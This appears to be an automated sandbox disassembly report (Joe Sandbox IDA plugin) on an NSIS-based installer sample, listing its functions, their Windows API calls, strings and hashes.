Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 67e7abcb15a3b792ff514517dbaa51231beb97817eaf9b334bdc8e12bec0558b
Instruction ID: 21ba76f912769f78f8e3df01d85e3e27af82f360ac84a16f7af8f01611abcd2b
Opcode Fuzzy Hash: 67e7abcb15a3b792ff514517dbaa51231beb97817eaf9b334bdc8e12bec0558b
Instruction Fuzzy Hash: 66314330240325BBD2206B659D48F6B3B6CDF45708F16043EFD42B62C2DA3C982486BD

Function 004049E7 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404A36
SetWindowTextW.USER32(00000000,?), ref: 00404A60
SHBrowseForFolderW.SHELL32(?), ref: 00404B11
CoTaskMemFree.OLE32(00000000), ref: 00404B1C
lstrcmpiW.KERNEL32(004326A0,0042CA68,00000000,?,?), ref: 00404B4E
lstrcatW.KERNEL32(?,004326A0), ref: 00404B5A
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B6C

Part of subcall function 00405BBB: GetDlgItemTextW.USER32(?,?,00000400,00404BA3), ref: 00405BCE

Part of subcall function 00406825: CharNextW.USER32(?,*?|<>/":,00000000,0043F000,756F3420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
Part of subcall function 00406825: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
Part of subcall function 00406825: CharNextW.USER32(?,0043F000,756F3420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
Part of subcall function 00406825: CharPrevW.USER32(?,?,756F3420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF

GetDiskFreeSpaceW.KERNEL32(0042AA38,?,?,0000040F,?,0042AA38,0042AA38,?,00000001,0042AA38,?,?,000003FB,?), ref: 00404C2F
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C4A

Part of subcall function 00404DA3: lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
Part of subcall function 00404DA3: wsprintfW.USER32 ref: 00404E4D
Part of subcall function 00404DA3: SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60

Strings

A, xrefs: 00404B0A

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
Instruction ID: 819d6111372f9eb468737b2dc9595d459319e5efb98401d1644bfd8e85b56d65
Opcode Fuzzy Hash: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
Instruction Fuzzy Hash: 14A180B1901208ABDB11EFA5DD45BAFB7B8EF84314F11803BF601B62D1D77C9A418B69

Function 004030A2 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 181memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004030B3
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400), ref: 004030CF

Part of subcall function 00406067: GetFileAttributesW.KERNEL32(00000003,004030E2,00442800,80000000,00000003), ref: 0040606B
Part of subcall function 00406067: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 0040608D

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003), ref: 0040311B
GlobalAlloc.KERNEL32(00000040,?), ref: 00403251

Strings

Null, xrefs: 00403199
Error launching installer, xrefs: 004030F2
Inst, xrefs: 00403187
soft, xrefs: 00403190
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403278

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-527102705
Opcode ID: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction ID: 55eb758a8cc994b5b8f5e8324c308f37a69edd03a8198e206d37cac48cd63750
Opcode Fuzzy Hash: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction Fuzzy Hash: E9519171900204AFDB209FA5DD86B9E7EACEB09356F20417BF504B62D1C7789F408BAD

Function 004065B4 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 204stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004326A0,00000400), ref: 004066D6
GetWindowsDirectoryW.KERNEL32(004326A0,00000400,00000000,0042BA48,?,?,00000000,00000000,?,756F23A0), ref: 004066EC
SHGetPathFromIDListW.SHELL32(00000000,004326A0), ref: 0040674A
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406753
lstrcatW.KERNEL32(004326A0,\Microsoft\Internet Explorer\Quick Launch,00000000,0042BA48,?,?,00000000,00000000,?,756F23A0), ref: 0040677E
lstrlenW.KERNEL32(004326A0,00000000,0042BA48,?,?,00000000,00000000,?,756F23A0), ref: 004067D8

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 004066A7
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406778

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-730719616
Opcode ID: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction ID: fc4c1bf1ff31ba1b34cdfc75387d7881e57296f2874843d1a5ebc397bafcf832
Opcode Fuzzy Hash: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction Fuzzy Hash: D16135716042009BD720AF24DD80B6B76E8EF85328F12453FF647B32D0DB7D9961865E

Function 004032D9 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403343
GetTickCount.KERNEL32 ref: 004033EA
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403413
wsprintfW.USER32 ref: 00403426

Strings

*B, xrefs: 00403304
... %d%%, xrefs: 00403420
A, xrefs: 004034A3
A, xrefs: 00403399

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ A$ A$... %d%%
API String ID: 551687249-3485722521
Opcode ID: 6d935c58c9c1f66a15f185bc6e4e505f3dabe6c18ce33db7fed369594a7e0453
Instruction ID: 3a086bfa1ae904988031f2e91e2ff9394e13111a018eeb379290de00703e2b75
Opcode Fuzzy Hash: 6d935c58c9c1f66a15f185bc6e4e505f3dabe6c18ce33db7fed369594a7e0453
Instruction Fuzzy Hash: 2F519F71900219DBCB11DF65DA44B9E7FB8AF44766F10413BE810BB2D1C7789A40CBA9

Function 0040455D Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040457A
GetSysColor.USER32(00000000), ref: 004045B8
SetTextColor.GDI32(?,00000000), ref: 004045C4
SetBkMode.GDI32(?,?), ref: 004045D0
GetSysColor.USER32(?), ref: 004045E3
SetBkColor.GDI32(?,?), ref: 004045F3
DeleteObject.GDI32(?), ref: 0040460D
CreateBrushIndirect.GDI32(?), ref: 00404617

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: 3bf72a8e0ffa46ee4049c610ab3cabbd6d50cfb344f29d4a8179c655b9565abb
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: 5C2165B1500B04ABC7319F38DE08B577BF4AF41715F04892EEA96A26E0D739D944CB54

Function 00402711 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040277D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004027B8
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027DB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027F1

Part of subcall function 00406148: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040615E

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040289D

Strings

9, xrefs: 00402760

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
Instruction ID: d1aefac9689752b6b3ea6a4f87dd4281ecbe68d6f3974aa7f4e2ef829afcd0bd
Opcode Fuzzy Hash: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
Instruction Fuzzy Hash: 66510C75D04119AADF20EFD4CA85AAEBBB9FF44304F14817BE501B62D0D7B89D828B58

Function 004055FC Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042BA48,00000000,?,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
lstrlenW.KERNEL32(0040343D,0042BA48,00000000,?,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
lstrcatW.KERNEL32(0042BA48,0040343D,0040343D,0042BA48,00000000,?,756F23A0), ref: 00405657
SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405669
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction ID: 60923f6e922cea494a698f26c75bee70e53a21f42b4b77269416c2a585f1ce57
Opcode Fuzzy Hash: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction Fuzzy Hash: 9A21A171900258BACB119FA5ED449DFBFB4EF45310F50843AF908B22A0C3794A40CFA8

Function 00404EB1 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404ECC
GetMessagePos.USER32 ref: 00404ED4
ScreenToClient.USER32(?,?), ref: 00404EEE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404F00
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404F26

Strings

f, xrefs: 00404F02

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: fe1e2a7802b6c51c8f018a14413b1ee553013da7dc16083b389f375565560bf3
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: 20015E71900219BADB00DB94DD85BFEBBBCAF95711F10412BBB51B61D0C7B4AA418BA4

Function 00402FB8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FD6
MulDiv.KERNEL32(?,00000064,?), ref: 00403001
wsprintfW.USER32 ref: 00403011
SetWindowTextW.USER32(?,?), ref: 00403021
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403033

Strings

verifying installer: %d%%, xrefs: 0040300B

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction ID: de78d71e2fb772fb87643f85aa6fa794cb5f2d0f129fd79c7e15704eeb750e6f
Opcode Fuzzy Hash: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction Fuzzy Hash: 85014F71640208BBEF209F60DD49FEE3B79AB04344F008039FA02B51D0DBB996559B59

Function 00402975 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029D6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029F2
GlobalFree.KERNEL32(?), ref: 00402A2B
GlobalFree.KERNEL32(00000000), ref: 00402A3E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A5A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A6D

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 12069ca59edc5e45febacc53791406d74f20a71b16248a4462b159327f362224
Instruction ID: fd7949a1005e62e73a365a75524f2bbb059e9229dbd09bef2f8decdc6a7611be
Opcode Fuzzy Hash: 12069ca59edc5e45febacc53791406d74f20a71b16248a4462b159327f362224
Instruction Fuzzy Hash: FA31A271D00124BBCF21AFA5CE89D9E7E79AF45324F14423AF421762E1CB798D418FA8

Function 00406825 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,0043F000,756F3420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
CharNextW.USER32(?,0043F000,756F3420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
CharPrevW.USER32(?,?,756F3420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF

Strings

*?|<>/":, xrefs: 00406877

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: bedb2e6347f460b6a244a356934bd0223db9426f0f89d28790e15ec7ef568a4f
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: C911B66780221295DB303B148C40A7762A8AF59754F56C43FED86732C0E77C5C9282AD

Function 004068FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406912
wsprintfW.USER32 ref: 0040694D
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406961

Strings

UXTHEME, xrefs: 00406904
%s%S.dll, xrefs: 00406947

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction ID: 6d7bab0cfc2d48cbbbe6bb2f91b005b1c0391479526b60628745523d5c0137a7
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 66F02B71501129A7CF10AB68DD0EF9F376CAB00304F10447AA646F10E0EB7CDB69CB98

Function 00401794 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017D5
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017FA

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

Part of subcall function 004055FC: lstrlenW.KERNEL32(0042BA48,00000000,?,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,0042BA48,00000000,?,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
Part of subcall function 004055FC: lstrcatW.KERNEL32(0042BA48,0040343D,0040343D,0042BA48,00000000,?,756F23A0), ref: 00405657
Part of subcall function 004055FC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405669
Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 99b6416810ddb5753ad8509ba94df8da2a36f778d9381ab1a10acee0bad54b07
Instruction ID: 896c0c78208a39cbb5dd39340d0745d1a2bf2ace5f7797069eceb710e9101d93
Opcode Fuzzy Hash: 99b6416810ddb5753ad8509ba94df8da2a36f778d9381ab1a10acee0bad54b07
Instruction Fuzzy Hash: 4C41B671900108BACB117BB5DD85DBE7AB9EF45328F21423FF412B10E2D73C8A919A2D

Function 00402ECE Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F22
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F77
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F8E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F99

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: 446d876c474c9d83549856ad9cac23e68bb7371358ae7480bd0e7fa7c4692e5e
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: 1D212A7150010ABFDF129F90CE89EEF7A7DEB54388F110076B909B21E0E7B58E54AA64

Function 00401DA6 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401DBF
GetClientRect.USER32(?,?), ref: 00401E0A
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E3A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E4E
DeleteObject.GDI32(00000000), ref: 00401E5E

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
